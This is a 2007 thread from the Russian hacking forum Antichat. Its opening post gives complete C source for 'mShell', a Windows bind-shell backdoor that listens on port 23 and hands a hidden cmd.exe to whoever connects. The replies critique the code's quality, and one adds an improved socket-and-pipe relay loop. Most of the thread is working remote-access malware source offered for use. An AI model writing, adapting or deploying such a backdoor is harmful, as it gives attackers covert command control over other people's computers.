Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Remote Shell, mShell by D-oNe, All WIN* in C/C++ |

03.08.2007, 20:10
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме: 16641028
Репутация:
2371
|
|
Remote Shell, mShell by D-oNe, All WIN* in C/C++
Код:
//mShell by D-oNe, All WIN*, based on code by Delikon
#pragma optimize("gsy",on)
#pragma comment(linker,"/RELEASE")
#pragma comment(linker,"/ENTRY:EntryPoint")
#pragma comment(linker,"/MERGE:.rdata=.data")
#pragma comment(linker,"/MERGE:.text=.data")
#pragma comment(linker,"/MERGE:.reloc=.data")
#pragma comment(linker,"/SECTION:.text,EWR /IGNORE:4078")
#pragma comment(linker,"/FILEALIGN:0x200")
#pragma comment(linker,"/subsystem:windows")
#include <windows.h>
#include <winsock.h>
const int port = 23;
void Shell(int port)
{
WSADATA wsadata;
SOCKET shellsock, sendsock;
SOCKADDR_IN sin;
HANDLE hPipeRead1, hPipeWrite1, hPipeRead2, hPipeWrite2;
char szBuffer[4096], szCmdPath[MAX_PATH];
int i, count = 0;
DWORD lpNumberOfBytesRead;
SECURITY_ATTRIBUTES secu =
{
(DWORD)sizeof(SECURITY_ATTRIBUTES), NULL, TRUE
};
STARTUPINFO sInfo;
PROCESS_INFORMATION pInfo;
WSAStartup(MAKEWORD(2,2), &wsadata);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = 0;
sin.sin_port = htons(port);
i = sizeof (sin);
shellsock = socket (AF_INET, SOCK_STREAM, 0);
bind(shellsock, (SOCKADDR *)&sin, sizeof(sin));
listen(shellsock, 0);
sendsock = accept(shellsock,(SOCKADDR *)&sin, &i);
if (sendsock == INVALID_SOCKET) ExitProcess(0);
CreatePipe(&hPipeRead1, &hPipeWrite1, &secu, 0);
CreatePipe(&hPipeRead2, &hPipeWrite2, &secu, 0);
GetEnvironmentVariable("ComSpec", szCmdPath, sizeof(szCmdPath));
memset(&sInfo, 0, sizeof(sInfo));
memset(&pInfo, 0, sizeof(pInfo));
sInfo.cb=sizeof (STARTUPINFO);
sInfo.dwFlags=STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
sInfo.wShowWindow=SW_HIDE;
sInfo.hStdInput = hPipeRead2;
sInfo.hStdOutput = hPipeWrite1;
sInfo.hStdError = hPipeWrite1;
CreateProcess(NULL, szCmdPath, &secu, &secu, TRUE, 0, NULL, NULL, &sInfo, &pInfo);
while (sendsock != SOCKET_ERROR)
{
Sleep (100);
memset(szBuffer, 0, sizeof(szBuffer));
PeekNamedPipe(hPipeRead1, NULL, NULL, NULL, &lpNumberOfBytesRead, NULL);
while (lpNumberOfBytesRead)
{
Sleep (200);
if (!ReadFile(hPipeRead1, szBuffer, sizeof(szBuffer), &lpNumberOfBytesRead, NULL)) break;
else send(sendsock, szBuffer, lpNumberOfBytesRead, 0);
PeekNamedPipe(hPipeRead1, NULL, NULL, NULL, &lpNumberOfBytesRead, NULL);
}
Sleep (200);
i = recv (sendsock,szBuffer,sizeof(szBuffer),0);
if (sendsock == 0)
{
count++;
if (count > 1) break;
}
if (!strstr(szBuffer, "exit") == 0)
{
closesocket(sendsock);
closesocket(shellsock);
TerminateProcess(pInfo.hProcess, 0);
ExitProcess(0);
}
else WriteFile(hPipeWrite2, szBuffer, i, &lpNumberOfBytesRead, 0);
}
closesocket(sendsock);
closesocket(shellsock);
TerminateProcess(pInfo.hProcess, 0);
ExitProcess(0);
return;
}
void EntryPoint()
{
Shell(port);
}
|
|
|

03.08.2007, 20:23
|
|
Moderator - Level 7
Регистрация: 21.03.2007
Сообщений: 1,200
Провел на форуме: 7134052
Репутация:
1204
|
|
О, определенно самый хэккерский шелл из всех мною виденных..
|
|
|

03.08.2007, 20:32
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме: 2238549
Репутация:
1318
|
|
Либу с Winsock, наверное забыл слинковать...
|
|
|

03.08.2007, 22:57
|
|
Участник форума
Регистрация: 11.07.2006
Сообщений: 125
Провел на форуме: 413927
Репутация:
71
|
|
"if (!strstr(szBuffer, "exit") == 0)" страшно =)
|
|
|

03.08.2007, 23:40
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме: 1941233
Репутация:
2726
|
|
Да ИСИС, ты хэккер имхо. такие шеллы писать не каждый осилит имхо.
|
|
|

04.08.2007, 12:28
|
|
Новичок
Регистрация: 15.07.2007
Сообщений: 16
Провел на форуме: 32430
Репутация:
3
|
|
Цыкл на чтение и запись с труб странно сделан, однопоточный, работа сокетов блокирующих (синхронные),даже влом постаить было буфер (0xFFF 4095) (экономия стекой памяти) вообщем руки кривые =)
|
|
|

04.08.2007, 12:30
|
|
Новичок
Регистрация: 15.07.2007
Сообщений: 16
Провел на форуме: 32430
Репутация:
3
|
|
вот можно еще и так )))
while (GetExitCodeProcess(pIf.hProcess,&lpExit) && lpExit== STILL_ACTIVE)
{
DWORD BytesToRead;
DWORD BytesTotal;
while (PeekNamedPipe(hInRead,buffer,0x1FFF,&BytesToRead, &BytesTotal,NULL) && BytesToRead)
{
ReadFile(hInRead,buffer,0x1FFF,&BytesToRead,NULL);
send(Sock,buffer,BytesToRead,0);
}
fd_set f_set;
FD_ZERO(&f_set);
FD_SET(Sock,&f_set);
timeval timeout;
timeout.tv_sec = 0;
timeout.tv_usec = 5000;
int Err = select(0,&f_set,NULL,NULL,&timeout);
if (Err == SOCKET_ERROR) break;
int RecvBytes;
if (FD_ISSET(Sock,&f_set))
{
RecvBytes = recv(Sock,buffer,0x1FFF,0);
if (RecvBytes <=0) break;
DWORD BytesWritten;
WriteFile(hOutWrite,buffer,RecvBytes,&BytesWritten ,0);
MZero(buffer,0x1FFF);
}
}
|
|
|

04.08.2007, 17:07
|
|
Участник форума
Регистрация: 09.02.2004
Сообщений: 122
Провел на форуме: 1089794
Репутация:
134
|
|
Этот шелл закроется после дисконнекта клиента. Может лучше было бы сделать многопоточный шелл, чтобы на каждый коннект был свой поток? 
См. исходник Cr4sh`a.
Последний раз редактировалось NetMan; 04.08.2007 в 19:43..
|
|
|
|
 |
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
Язык shell
|
mR_LiNK[deface_0nl |
Чужие Статьи |
10 |
10.01.2007 21:56 |
|
Порты троянов
|
bxN5 |
Защита ОС: вирусы, антивирусы, файрволы. |
4 |
06.05.2006 22:03 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|